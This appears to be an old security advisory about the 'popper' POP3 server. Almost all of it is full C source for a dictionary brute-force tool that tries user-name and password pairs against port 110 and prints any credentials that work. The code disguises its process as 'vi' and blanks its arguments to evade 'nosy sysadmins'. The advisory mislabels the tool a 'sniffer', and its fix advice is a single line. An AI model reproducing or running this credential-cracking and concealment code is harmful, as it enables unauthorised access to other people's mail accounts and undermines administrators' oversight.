COMMAND

    popper

SYSTEMS AFFECTED

    Systems using old popper

PROBLEM

    The following program enables you to sniff passwords on pop3 port.

    #include <stdio.h>
    #include <string.h>
    #include <signal.h>
    #include <unistd.h>
    #include <sys/param.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <stdarg.h>

    /* First, define the POP-3 port - almost always 110 */
    #define POP3_PORT               110

    /* What we want our program to be masked as, so nosy sysadmins dont kill us */
    #define MASKAS                  "vi"

    /* Repeat connect or not - remember, logs still report a connection, so
    you might want to set this to 0. If set to 0, it will hack until it finds
    1 user/password then exit. If set to 1, it will reconnect and try more
    user/passwords (until it runs out of usernames) */
    #define RECONNECT               0

    /* The function prototypes */
    void nuke_string(char *);
    int pop_connect(char *);
    int pop_guess(char *, char *);
    char *getanswer(char *);
    char *getanswer_(char *);
    void swallow_welcome(void);
    void hackity_hack(void);

    int popfd;
    FILE *popfp;

    FILE *userfile;
    FILE *dictfile;

    char host[255];
    char dict[255];
    char user[255];

    main(int argc, char **argv)
    {
       if(argc < 4)
       {
          /* invalid syntax, display syntax and exit */
          printf("Syntax: %s host userfile dictfile\n", argv[0]);
          exit(0);
       }

       /* Validate that the host exists */
       if(pop_connect(argv[1]) == -1)
       {
          /* Error */
          printf("Error connecting to host %s\n", argv[1]);
          exit(0);
       }
       printf("Connected to: %s\n\n", argv[1]);

       /* Check for the existance of the user file */
       userfile=fopen(argv[2], "rt");
       if(userfile==NULL)
       {
          /* Error */
          printf("Error opening userfile %s\n", argv[2]);
          exit(0);
       }
       fclose(userfile);

       /* Checking for the existance of dict file */
       dictfile=fopen(argv[3], "rt");
       if(dictfile==NULL)
       {
          /* Error */
          printf("Error opening dictfile %s\n", argv[3]);
          exit(0);
       }
       fclose(dictfile);

       /* Copy important arguments to variables */
       strcpy(host, argv[1]);
       strcpy(user, argv[2]);
       strcpy(dict, argv[3]);

       nuke_string(argv[0]);
       nuke_string(argv[1]);
       nuke_string(argv[2]);
       nuke_string(argv[3]);
       strcpy(argv[0], MASKAS);

       swallow_welcome();
       hackity_hack();
    }

    void nuke_string(char *targetstring)
    {
       char *mystring=targetstring;

       while(*targetstring != '\0')
       {
          *targetstring=' ';
          targetstring++;
       }
       *mystring='\0';
    }

    int pop_connect(char *pophost)
    {
       int popsocket;
       struct sockaddr_in sin;
       struct hostent *hp;

       hp=gethostbyname(pophost);
       if(hp==NULL) return -1;

       bzero((char *)&sin,sizeof(sin));
       bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
       sin.sin_family=hp->h_addrtype;
       sin.sin_port=htons(POP3_PORT);
       popsocket=socket(AF_INET, SOCK_STREAM, 0);
       if(popsocket==-1) return -1;
       if(connect(popsocket,(struct sockaddr *)&sin,sizeof(sin))==-1) return -1;
       popfd=popsocket;
       return popsocket;
    }

    int pop_guess(char *username, char *password)
    {
       char buff[512];

       sprintf(buff, "USER %s\n", username);
       send(popfd, buff, strlen(buff), 0);
       getanswer(buff);

       sprintf(buff, "PASS %s\n", password);
       send(popfd, buff, strlen(buff), 0);
       getanswer(buff);
       if(strstr(buff, "+OK") != NULL)
       {
          printf("USERNAME: %s\nPASSWORD: %s\n\n", username, password);
          return 0;
       }
       else return -1;
    }

    char *getanswer(char *buff)
    {
       for(;;)
       {
          getanswer_(buff);
          if(strstr(buff, "+OK") != NULL) return buff;
          if(strstr(buff, "-ERR") != NULL) return buff;
       }
    }

    char *getanswer_(char *buff)
    {
       int ch;
       char *in=buff;

       for(;;)
       {
          ch=getc(popfp);
          if(ch == '\r');
          if(ch == '\n')
          {
             *in='\0';
             return buff;
          }
          else
          {
             *in=(char)ch;
             in++;
          }
       }
    }

    void swallow_welcome(void)
    {
       char b[100];
       popfp=fdopen(popfd, "rt");
       getanswer(b);
    }

    void hackity_hack(void)
    {
       char *un;
       char *pw;
       char *c;
       int found=0;

       un=(char *)malloc(512);
       pw=(char *)malloc(512);
       if(un==NULL || pw==NULL) return;

       userfile=fopen(user, "rt");
       dictfile=fopen(dict, "rt");
       if(userfile == NULL || dictfile == NULL) return;

       for(;;)
       {
          while(fgets(un, 50, userfile) != NULL)
          {
             found=0;
             c=strchr(un, 10);
             if(c != NULL) *c=0;

             c=strchr(un, 13);
             if(c != NULL) *c=0;

             while(fgets(pw, 50, dictfile) != NULL && found==0)
             {
                c=strchr(pw, 10);
                if(c != NULL) *c=0;

                c=strchr(pw, 13);
                if(c != NULL) *c=0;

                if(strlen(pw) > 2 && strlen(un) > 2)
                   if(pop_guess(un, pw)==0)
                   {
                      found=1;
                      fclose(popfp);
                      close(popfd);
                      if(RECONNECT==0)
                      {
                         free(pw);
                         free(un);
                         fclose(userfile);
                         fclose(dictfile);
                         exit(0);
                      }
                      pop_connect(host);
                      swallow_welcome();
                   }
             }
             fclose(dictfile);
             dictfile=fopen(dict, "rt");
          }
          fclose(dictfile);
          fclose(userfile);
          free(un);
          free(pw);
          exit(0);
       }
    }

SOLUTION

    It has  been reported  that this  code works  with old releases of
    popper so if  you find yourself  vulnerable, apply new  version of
    popper.